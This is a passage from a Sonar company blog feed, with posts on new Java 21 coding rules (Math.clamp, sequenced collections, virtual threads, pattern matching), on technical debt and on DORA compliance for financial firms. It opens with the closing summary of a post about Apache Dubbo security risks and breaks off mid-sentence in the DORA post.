&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog covered a different way of introducing security risks into an Apache Dubbo infrastructure. Despite it being disputed by the vendor, we are confident that our research helps contribute to the documentation and, alongside this publication, makes users aware of those risks.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This example showcased misinterpretation due to confusing flag verification. Additionally, it highlighted the absence of a well-defined threat model, which can bewilder users. At Sonar, we stress the significance of Clean Code as it enhances code readability, maintainability, and security. Clean Code promotes clear and concise code structures, making it easier for developers to identify potential vulnerabilities and implement appropriate security measures. By adhering to Clean Code principles, organizations can minimize the risk of security breaches and ensure the integrity of their software applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;phpBB 3.2.3: Phar Deserialization to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/spring-framework-pitfalls/&quot;&gt;Spring framework pitfalls&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Ensuring the right usage of Java 21 new features]]></title><description><![CDATA[Last September 2023 Java 21 was released as the latest LTS (Long Time Support). But taking advantage of the changes and new features, which we are not used to including in our code, can be a tough task. Also, it can lead to improper use or poor uptake, bugs, or basically not taking full advantage of new improvements.
]]></description><link>https://www.sonarsource.com/blog/ensuring-the-right-usage-of-java-21-new-features</link><guid isPermaLink="false">2468ae5e-3b95-5ace-8056-c94b508406c9</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Mon, 01 Apr 2024 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last September 2023 a new version of Java was released as the latest LTS (Long Time Support). This 21st version &lt;a href=&quot;https://www.sonarsource.com/blog/the-new-jdk-lts-is-out-long-live-jdk-21/&quot;&gt;brought lots of new features&lt;/a&gt; that will improve performance and clarity in our code base. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But taking advantage of these changes and new features, which we are not used to including in our code, can be a tough task. Also, it can lead to improper use or poor uptake, bugs, or basically not taking full advantage of new improvements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To help you on that Sonar has released a group of new Java 21 rules that will guide you from the very beginning. You will benefit from the first keystroke with SonarLint in your IDE checking your code as you code,  to the CI Quality Gates with SonarQube and SonarCloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://rules.sonarsource.com/java/tag/java21/&quot;&gt;11 rules&lt;/a&gt; are as follows: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;Use built-in &amp;quot;Math.clamp&amp;quot; methods &lt;/li&gt;&lt;li&gt;Use correct ranges with Math.clamp&lt;/li&gt;&lt;li&gt;Use SequencedCollection reversed() for reverse iteration order&lt;/li&gt;&lt;li&gt;Use reversed immutable lists with SequencedCollection reversed() view&lt;/li&gt;&lt;li&gt;Use switch instead of if-else for pattern matching&lt;/li&gt;&lt;li&gt;Use record pattern matching instead of explicit field access&lt;/li&gt;&lt;li&gt;Use VirtualThreads for heavy blocking operations&lt;/li&gt;&lt;li&gt;Don&amp;#x27;t misuse Thread methods with Virtual Threads&lt;/li&gt;&lt;li&gt;Virtual threads should not run blocks with synchronized code&lt;/li&gt;&lt;li&gt;Use guarded pattern labels instead of if/else&lt;/li&gt;&lt;li&gt;Use indexOf(char|String, int, int) with correct ranges&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;Use built-in &amp;quot;Math.clamp&amp;quot; methods &lt;/h2&gt;&lt;p&gt;Sometimes you need to bounds check a number, ensuring that the value is not out of a certain range. To do this we’ve been using manual checks like these ones&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int clampedValue = value &gt; max ? max : value &lt; min ? min : value; // Noncompliant

int clampedValue = Math.max(min, Math.min(max, value)); // Noncompliant&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These 2 options are hard to read and understand, and error-prone. The first one using the nested ternary operator &lt;a href=&quot;https://www.baeldung.com/java-ternary-operator#:~:text=However%2C%20please%20note%20that%20it%E2%80%99s%20not%20recommended&quot;&gt;overcomplicates&lt;/a&gt; the code, making it difficult to understand the intention. The second one with the Math methods needs a deep read in order to understand it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Which is the best approach then?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int clampedValue = Math​​.clamp(value, min, max);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The new Java 21 &lt;a href=&quot;https://bugs.openjdk.org/browse/JDK-8301226&quot;&gt;Math.clamp&lt;/a&gt; method is clear, and focused and reduces the options to include a bug.&lt;/p&gt;&lt;h2&gt;Use correct ranges with Math.clamp &lt;/h2&gt;&lt;p&gt;When you use the Math.clamp method from Java 21 as suggested by the previous rule, you need to use the correct ranges, like other range-based APIs. This method throws IllegalArgument exceptions when the ranges are not considered legal.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following example throws an IllegalArgumentException&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Math.clamp(42, 0, -1); // Non compliant&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following example is a redundant operation&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Math.clamp(42, 0, 0); // Non compliant&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Use SequencedCollection reversed() for reverse iteration order &lt;/h2&gt;&lt;p&gt;When you need to iterate a collection but in reverse order, often you do manual processes using the iterator. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;  for (var it = list.listIterator(list.size()); it.hasPrevious();) {
    var element = it.previous();
    System.out.println(element);
  }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This approach is verbose, hard to understand, and also can lead to errors if we don’t do the right previous/hasPrevious calls.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Java 21 introduces the new &lt;a href=&quot;https://openjdk.org/jeps/431&quot;&gt;Sequenced Collections API&lt;/a&gt;, which is applicable to all collections with a defined sequence on their elements, such as `LinkedList`, `TreeSet`, and others.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;pre&gt;&lt;code&gt;  for (var element: list.reversed()) {
    System.out.println(element);
  }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This approach is way clearer, doesn’t give space to do it wrong, and ensures consistency across your code.&lt;/p&gt;&lt;h2&gt;Use reversed immutable lists with SequencedCollection reversed() view &lt;/h2&gt;&lt;p&gt;Sometimes you need to iterate a collection in reverse order, and you have to do it manually, using the `Collections.reverse` method which mutates the list. Mutability can bring problems, especially in this case mutating the original list just to use a reversed view of it. Almost always &lt;a href=&quot;https://www.sonarsource.com/blog/builders-withers-and-records-java-s-path-to-immutability/&quot;&gt;immutable approaches are preferred&lt;/a&gt;.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Java 21 introduces the new &lt;a href=&quot;https://openjdk.org/jeps/431&quot;&gt;Sequenced Collections API&lt;/a&gt;, which is applicable to all collections with a defined sequence on their elements, such as `LinkedList`, `TreeSet`, and others. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For projects using Java 21 and onwards, this API should be utilized instead of workaround implementations that were necessary prior to Java 21.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For read-only usages of reverse iterations, the old `Collection.reverse(List)` call should be replaced by `SequencedCollection.reversed()` which will not mutate the original collection.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void foo(List&lt;String&gt; list) {
  var copy = new ArrayList&lt;String&gt;(list);
  Collections.reverse(copy); // Noncompliant
 // do something
 // ...  
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Should be changed to &lt;/p&gt;&lt;pre&gt;&lt;code&gt;void foo(List&lt;String&gt; list) {
  var reverseList = list.reversed(); // Compliant
  // do something
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Use switch instead of if-else for pattern matching &lt;/h2&gt;&lt;p&gt;In versions of Java before 21, matching a variable against multiple patterns required you to chain if/else statements. However, since Java 21, the enhanced switch expression is a preferable alternative in most scenarios. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using a switch expression provides advantages such as clearer code, assurance of handling all cases, and improved performance. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (expr instanceof Plus plus) { // Noncompliant
  ...
} else if (expr instanceof Div div) {
    ...
} else ...


if (c == Color.Red) {
 ...
} else if (c == Color.Green) { // Noncompliant
 ...
} else ...


if (x == 2) { // Noncompliant
 ...
}  else if (x == 3 || x==4 ) {
 ...
}  else ...

if (shape instanceof Circle) { // Noncompliant
  Circle circle = (Circle) shape;
  ...
} else if (shape instanceof Rectangle) {
  Rectangle rectangle = (Rectangle) rectangle
  ...
} else ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But we can use `switch expressions` in order to make this code more readable, and also reduce the cognitive complexity.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;switch (expr) {
 case Plus(left, right) -&gt; eval(left) + eval(right)
 case Div(left, right) -&gt; eval(left)/eval(right)
 ...
}

switch (c) {
 case Red -&gt; ...
 case Green -&gt; ...
 ...
}

switch (x) {
 case 2 -&gt; ...
 case 3, 4 -&gt; ...
}

switch (shape) {
 case Circle circle -&gt; ...  
 case Rectangle rectangle -&gt; ...
 ...
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Use record pattern matching instead of explicit field access &lt;/h2&gt;&lt;p&gt;When you use type pattern matching you also declare a local variable of the type you matched against, to easily access its specific members, which is a benefit on top of the use of the instanceOf conditionals.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static void printSum(Object obj) {
    if (obj instanceof Point p) {
        int x = p.x();
        int y = p.y();
        System.out.println(x+y);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Java 21 we can now go a step further when we type-match on records, directly extracting their components into local variables, improving readability, and reducing the possibility of introducing errors with bad or missing assignments.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static void printSum(Object obj) {
    if (obj instanceof Point(int x, int y)) {
        System.out.println(x+y);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Use VirtualThreads for heavy blocking operations &lt;/h2&gt;&lt;p&gt;Java 21 comes with a powerful feature called &lt;a href=&quot;https://openjdk.org/jeps/444&quot;&gt;Virtual Threads&lt;/a&gt;. Before this, when you created a new Thread it was taking a thread from the OS. This basically meant that depending on the CPU we were capable of creating only a specific number of threads.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Thread t = new Thread(() -&gt; {   // Noncompliant 
      //some Http method invokation
    }).start();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But now these virtual threads come from a shared pool of OS threads allowing us to create millions of threads that will be put on hold for access to the IO system.&lt;/p&gt;&lt;p&gt;So, using virtual threads is the suggested approach.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Thread t = Thread.ofVirtual.start(() -&gt; {  // Compliant
      //some Http method invokation
    });&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Don&amp;#x27;t misuse Thread methods with Virtual Threads &lt;/h2&gt;&lt;p&gt;If you want to migrate from the use of platform Threads to the new Java 21 Virtual Threads there are some methods that you should not use since they don’t make any sense for the new type and can even cause runtime errors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the old platform threads, we could have a code similar to this&lt;/p&gt;&lt;pre&gt;&lt;code&gt;var kernelThread = new Thread(printThread);
kernelThread.setPriority(Thread.MIN_PRIORITY);
kernelThread.setDaemon(false);
System.out.println(&quot;Group:&quot; + kernelThread.getThreadGroup());
kernelThread.start();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, the 3 central methods will have no effect or result in a runtime exception when migrated to Virtual Threads.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;var virtualThread = Thread.ofVirtual().factory().newThread(printThread);
virtualThread.setPriority(Thread.MIN_PRIORITY); //Not compliant
virtualThread.setDaemon(false); //Not compliant
System.out.println(virtualThread.getThreadGroup()); //Not compliant
virtualThread.start();
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Virtual threads are always daemon threads, so invoking .setDaemon() will not change them to non-daemon threads. It will, at best, have no effect, and at worst (when you pass false as a parameter) cause an IllegalArgumentException.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The same goes for .setPriority because the priority of virtual threads cannot be changed from Thread.NORM_PRIORITY, and finally virtual threads are not active members of a ThreadGroup, therefore invoking .getThreadGroup() on a virtual thread returns a dummy &amp;quot;VirtualThreads&amp;quot; group that is empty.&lt;/p&gt;&lt;h2&gt;Virtual threads should not run blocks with synchronized code&lt;/h2&gt;&lt;p&gt;The CPU usage optimization introduced with VirtualThread relies on the fact that these new types of threads can be “mounted” and “dismounted” from an OS thread whenever they find themselves waiting for some blocking operation ( I/O, network, etc..). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the task wrapped by the virtual thread runs &lt;a href=&quot;https://docs.oracle.com/javase/tutorial/essential/concurrency/syncmeth.html&quot;&gt;synchronized code&lt;/a&gt;, which will prevent other threads from entering that method, it will get pinned to its current underlying OS thread. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If during this time a blocking operation occurs, the virtual thread will not be dismounted, blocking the OS thread, and defeating the purpose of using a virtual thread in the first place.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Thread.startVirtualThread(() -&gt; { // Noncompliant
      synchronized(this) {
        System.out.println();
      }
    });

Thread.startVirtualThread(() -&gt; synchronizedMethod()); // Noncompliant
private synchronized void synchronizedMethod() { 
  System.out.println(); 
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to obtain the best result from the Virtual Threads we should not use synchronized blocks that will block the thread.&lt;/p&gt;&lt;h2&gt;Use guarded pattern labels instead of if/else &lt;/h2&gt;&lt;p&gt;When we check for the type of an object, often it also involves checking the object value. Even when we use pattern matching to make the code more readable and avoid the use of `instanceOf`, our code is still not using all the benefits of the Java language.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://medium.com/@scadge/if-statements-design-guard-clauses-might-be-all-you-need-67219a1a981a&quot;&gt;Guards&lt;/a&gt; are a safe and clear approach when evaluating different branches in our code but have preconditions that will make the code that follows irrelevant. So, using a guard instead of a control flow operation inside the pattern body makes the code more readable. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a common Java code using switch pattern matching and conditionals:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static void testStringOld(String response) {
    switch (response) {
        case null -&gt; { }
        case String s -&gt; {
            if (s.equalsIgnoreCase(&quot;YES&quot;)){
              System.out.println(&quot;You got it&quot;);
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But, we can go further. Java 21 implements &lt;a href=&quot;https://docs.oracle.com/en/java/javase/21/language/pattern-matching-switch-expressions-and-statements.html#GUID-A5C220F6-F70A-4FE2-ADB8-3B8883A67E8A:~:text=println(%22Something%20else%22)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D-,When%20Clauses,-You%20can%20add&quot;&gt;guarded pattern labels&lt;/a&gt; that can be used in switch pattern matching expressions that will make the code more readable.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static void testStringNew(String response) {
    switch (response) {
        case null -&gt; { }
        case String s when s.equalsIgnoreCase(&quot;YES&quot;) -&gt; {
            System.out.println(&quot;You got it&quot;);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Use indexOf(char|String, int, int) with correct ranges &lt;/h2&gt;&lt;p&gt;Java 21 adds new indexOf methods that accept ranges rather than single start or stop indices. While these new API methods make it easier to provide ranges rather than having to do substring operations and adding/subtracting resulting offsets, they also throw StringIndexOutOfBounds exceptions when the range used is not considered legal.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following cases all throw a StringIndexOutOfBoundsException but are not detected at compile time.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;pre&gt;&lt;code&gt;String message = &quot;Hello, World!&quot;;
message.indexOf(&apos;!&apos;, -1, message.length()); // Noncompliant, beginIndex is negative
message.indexOf(&apos;!&apos;, 1, 0); // Noncompliant, beginIndex is greater than endIndex
message.indexOf(&apos;,&apos;, 0, message.length() + 1); // Noncompliant, endIndex is greater than the string&apos;s length by 1&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Java 21 brings a lot of new features and methods that will help us to code in a more consistent way. But it’s easy to not be aware of them or miss their usage as it’s a relatively new version.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean code also means using our programming language in the best possible way, including taking advantage of the methods provided to solve problems in a more efficient and consistent way, and doing it without misusages especially when migrating code from an older version of Java to a newer one.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The use of tools on the coding side can help us discover the best ways to code using the last features and improve our code in performance and readability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember that &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; with their Java analyzer will help you deliver clean code with a long &lt;a href=&quot;https://rules.sonarsource.com/java&quot;&gt;list&lt;/a&gt; of rules to consider when you code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Technical debt’s impact on development speed and code quality
]]></title><description><![CDATA[By acknowledging the impact of technical debt and embracing proactive solutions like Sonar, development teams can mitigate its effects and build software that is resilient, reliable, and scalable.]]></description><link>https://www.sonarsource.com/blog/technical-debt-s-impact-on-development-speed-and-code-quality</link><guid isPermaLink="false">4264bf54-6300-572f-98da-80fcc3b93581</guid><dc:creator><![CDATA[Bianka Banova]]></dc:creator><pubDate>Wed, 27 Mar 2024 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the ever-evolving landscape of software development, the concept of technical debt looms large, casting a shadow over projects both large and small. It represents the compromise made between short-term expediency and long-term sustainability, often resulting in a trade-off between development speed and code quality. In this comprehensive exploration, we will delve deeper into the multifaceted impact of technical debt on software projects and explore how Sonar solutions offer a proactive approach to managing and mitigating its effects, ensuring the success and longevity of software projects in a rapidly changing environment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Understanding Technical Debt&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;Technical debt&lt;/a&gt; is the invisible price tag attached to decisions made in the heat of development sprints. It accumulates when teams, driven by the ticking clock of deadlines, resort to quick solutions instead of crafting well-thought-out, maintainable code. This debt, much like its fiscal analog, accrues &amp;quot;interest&amp;quot; over time, which results in more complex, less flexible, and lower code quality. It makes the development process harder, slows down work, and makes it difficult to see the best way forward.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Technical Debt Impact on Development Speed&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The irony of technical debt is that while it&amp;#x27;s supposed to speed things up initially, it often does the opposite. It’s like trying to run through a maze blindfolded; you might make quick progress at first, but eventually, you&amp;#x27;re going to hit a wall. Developers find themselves navigating a labyrinth of their own making, slowing down as they try to make sense of rushed code and patch things up. This can lead to projects missing their mark, timelines stretching thin, and a whole lot of developer headaches.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As technical debt accumulates within a codebase, the once-smooth development process begins to grind to a halt. Developers find themselves entangled in a web of convoluted code, spending an increasing amount of time deciphering undocumented logic, untangling spaghetti code, and patching up hastily implemented features. These inefficiencies result in delayed project timelines, missed deadlines, and a pervasive sense of frustration among development teams. Moreover, as technical debt compounds over time, the velocity of development further diminishes, leading to a downward spiral of productivity and morale.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Code Quality Concerns&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Beyond its impact on development velocity, technical debt poses significant challenges to code quality. Code that is hastily written, poorly structured, or lacking proper documentation is more prone to bugs, vulnerabilities, and maintenance issues. As technical debt accumulates, the codebase becomes increasingly fragile and susceptible to instability, making it difficult for developers to maintain, extend, or refactor. Moreover, the presence of technical debt perpetuates a cycle of firefighting, where developers spend more time addressing existing issues than building new features or enhancing functionality. This vicious cycle not only stifles innovation but also undermines confidence in the software&amp;#x27;s reliability and robustness.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Sonar’s Proactive Approach to Technical Debt &lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the face of these pervasive challenges, Sonar offers a proactive solution that integrates seamlessly into the software development lifecycle. This approach not only ensures high-quality code but also maintains the agility of development teams.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar’s tools and methodology ensure seamless, end-to-end quality assurance from IDE to deployment, thur proactively managing existing technical debt and preventing future accumulation:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/clean-as-you-code/&quot;&gt;Clean as You Code Methodology:&lt;/a&gt; &lt;/strong&gt;emphasizing real-time adherence to high coding standards, this strategy employs a comprehensive set of over 5,000 rules spanning 30+ languages and frameworks. It enables developers to quickly identify and correct issues, effectively preventing the build-up of new technical debt and facilitating the gradual improvement of their codebase over time.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Automated Code Reviews:&lt;/strong&gt; with Sonar’s highly accurate analysis engine, developers receive immediate, &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/pull-request-analysis/&quot;&gt;actionable feedback on every Pull Request&lt;/a&gt;. By pinpointing vulnerabilities and bugs early on, this mechanism drastically curtails the potential for technical debt, reducing the necessity for time-consuming corrective measures later in the development process.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Gated Quality Assurance: &lt;/strong&gt;Sonar implements &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/quality-gates/&quot;&gt;Quality Gates&lt;/a&gt; as a stringent checkpoint before the release of any code, verifying adherence to established quality benchmarks, including the absence of new blocker issues and the achievement of over 80% code coverage on new additions. This practice guarantees a uniform quality standard, effectively safeguarding against the emergence of technical debt.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By adopting these practices, development teams can maintain a consistent code quality throughout the CI/CD pipeline, fostering a culture of clean coding and continuous improvement. SonarSource’s tools and methodologies not only streamline development workflows but also provide stakeholders with valuable insights for informed decision-making, embodying a comprehensive approach to mitigating technical debt.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Conclusion&lt;/h3&gt;&lt;p&gt;In conclusion, technical debt remains a formidable challenge in software development, with far-reaching implications for development speed and code quality. However, by acknowledging the impact of technical debt and embracing proactive solutions like Sonar, development teams can mitigate its effects and build software that is resilient, reliable, and scalable. With Sonar&amp;#x27;s solution, development speed can be accelerated, and code quality can be maintained at a high standard, ensuring the success and longevity of software projects in an ever-evolving digital landscape. As organizations continue to navigate the complexities of software development, Sonar offers a path toward sustainable development practices and lasting success.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[DORA Compliance for Financial Entities]]></title><description><![CDATA[Leveraging Sonar solutions to ensure code security by design]]></description><link>https://www.sonarsource.com/blog/dora-compliance-for-financial-entities</link><guid isPermaLink="false">d3eba436-2c70-526f-830d-8393cba9be81</guid><dc:creator><![CDATA[Adam Surdy]]></dc:creator><pubDate>Fri, 22 Mar 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In today&amp;#x27;s digital age, financial entities face unprecedented challenges in ensuring the resilience and security of their operations.  With the advent of regulatory frameworks like the Digital Operational Resilience Act (DORA), European banks, insurance companies, and other financial institutions have the added responsibility (or incentive) of demonstrating compliance with a regulation that aims to fortify the IT security of financial institutions and ensure their ability to withstand severe operational disruptions. &lt;br/&gt;&lt;br/&gt;Applicable from January 17, 2025, this EU regulation mandates harmonized rules for operational resilience across financial entities and their third-party service providers. With these entities increasingly reliant on technology, compliance with DORA will significantly contribute to safeguarding against cyber-attacks and maintaining operational continuity, thereby mitigating potential economic impacts.&lt;/p&gt;&lt;h2&gt;What is DORA?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en#why-is-dora-needed&quot;&gt;DORA&lt;/a&gt; is an EU regulation applicable to financial institutions (banks, insurance) that came into force on January 16, 2023, but organizations have until January 2025 to demonstrate compliance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The objective of DORA is to make sure the European financial sector is able to effectively manage risk pertaining to computer and network hardware, and software, including risk arising from third-party providers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By providing a framework by which resilience against severe operational disruption (eg a cyber attack) can be measured, assessed, and mitigated DORA aims to ensure risks are properly managed. This EU regulation encompasses five main areas: ICT Risk Management including management of third-party ICT risk, Digital Operational Resilience Testing, Reporting on ICT-related incidents, Information and intelligence sharing, and oversight of third-party providers.&lt;br/&gt;&lt;br/&gt;The inclusion of third-party providers is important as many institutions rely on cloud computing services and software delivered by external providers.&lt;/p&gt;&lt;h2&gt;Why DORA matters&lt;/h2&gt;&lt;p&gt;The financial sector&amp;#x27;s heavy reliance on technology and third-party service providers exposes it to significant cyber risks. Failure to manage these risks effectively can lead to disruptions in financial services, affecting not only the sector itself but also interconnected industries and the broader economy. DORA&amp;#x27;s introduction signifies a proactive approach to addressing these challenges by establishing standardized security requirements and promoting digital operational resilience across the financial landscape. The scope of these requirements naturally includes software, and therefore the underlying code, that underpins the technology.&lt;/p&gt;&lt;h2&gt;DORA Compliance and Sonar Solutions&lt;/h2&gt;&lt;p&gt;To navigate the &lt;a href=&quot;https://www.sonarsource.com/learn/code-quality/&quot;&gt;code quality&lt;/a&gt; aspects of DORA compliance and fortify their digital resilience and security, financial entities can turn to Sonar solutions. According to a research paper published in 2023 from the Enterprise Strategy Group “&lt;em&gt;Optimizing Application Security Effectiveness, Best Practices to Secure and Protect Modern Software Application&lt;/em&gt;s” 71% of enterprises admitted their AppSec programs were reactive, playing catch-up with vulnerability alerts. This is precisely the reactive approach that the DORA regulation aims to address. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar offers a comprehensive suite of tools designed to integrate code quality and security into the earliest stages of software development, aligning with DORA&amp;#x27;s principles of identifying and eliminating risk early. These same tools enable you to ensure the same level of code quality and security with your third-party contractors and vendors, providing the ability to detect security issues in user code that originate from third-party open-source libraries, for example.&lt;/p&gt;&lt;h2&gt;Shift-Left Approach with Sonar&lt;/h2&gt;&lt;p&gt;Sonar solutions enable a &amp;quot;&lt;a href=&quot;https://www.sonarsource.com/learn/shift-left/&quot;&gt;shift-left&lt;/a&gt;&amp;quot; approach, emphasizing the integration of security measures from the inception of the software development lifecycle, and starting where code is developed. This proactive strategy ensures that security vulnerabilities and bugs are identified and addressed early on, reducing the likelihood of costly remediation efforts later in the development process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This approach from Sonar forms part of a broader methodology that recognizes the impact of poor-quality source code in contributing to future operational resilience issues. Sonar solutions evaluate the maintainability and reliability of code, as well as its security, as key contributors to software resilience, irrespective of whether the source code has been developed in-house, or by a third party. The Sonar solutions identify and resolve issues that 